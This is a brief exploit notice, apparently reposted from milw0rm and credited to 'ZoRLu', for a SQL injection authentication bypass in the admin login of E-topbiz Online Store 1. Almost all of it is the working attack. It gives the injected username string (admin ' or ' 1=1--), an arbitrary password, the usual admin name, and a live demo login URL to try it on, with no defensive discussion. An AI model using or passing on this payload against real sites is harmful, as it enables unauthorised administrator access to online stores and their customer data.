E-topbiz Online Store 1 (Auth Bypass) SQL Injection Vuln

E-topbiz Online Store 1 (Auth Bypass) SQL Injection Vuln

link: http://www.milw0rm.com/exploits/7041

author: ZoRLu

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin


for demo:

http://e-topbiz.com/trafficdemos/store1/admin/login.php

username: admin ' or ' 1=1--

password: ZoRLu